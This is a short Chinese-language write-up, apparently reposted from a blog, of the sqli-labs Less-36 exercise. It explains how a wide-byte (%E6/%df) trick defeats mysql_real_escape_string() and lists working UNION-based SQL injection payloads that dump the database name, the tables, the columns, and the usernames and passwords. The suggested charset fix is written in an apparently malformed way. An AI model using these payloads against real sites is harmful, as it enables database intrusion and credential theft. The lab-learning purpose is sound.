Less(36)GET-Bypass MySQLreal escape_string

1.查看一下php文件:

  

   

  这里使用了mysql_real_escape_string()函数来进行过滤,对于mysql_real_escape_string函数而言,它会转义以下特殊字符:x00 ,  ,  ,   ,'  ,  "   ,  x1a

  如果转义成功,那么该函数返回被转义的字符,如果失败,则返回false.
  但是因为mysql并没有设置成GBK,所以mysql_real_escape_string()依旧可以突破。方法和之前所用的一样:

  注:再使用mysql_real_escape_string()时,可以通过将mysql设置为gbk来防止这种注入。

  设置代码:mysql_set_charset('gbk','$conn')

  可以通过宽字节 %df ,%E6,%99或者utf-16

2.爆破:

  (1)爆库:?id=-1%E6' union select 1,2,database()--+

    

  (2)爆表:?id=-1%E6' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479 --+

    

  (3)爆列名:?id=-1%E6' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273--+

    

  (4)爆值:?id=-1%E6' union select 1,group_concat(username,0x7e,password),3 from security.users --+

    


    原文链接:https://blog.csdn.net/Fly_hps/article/details/80287435

原文地址:https://www.cnblogs.com/meng-yu37/p/12418244.html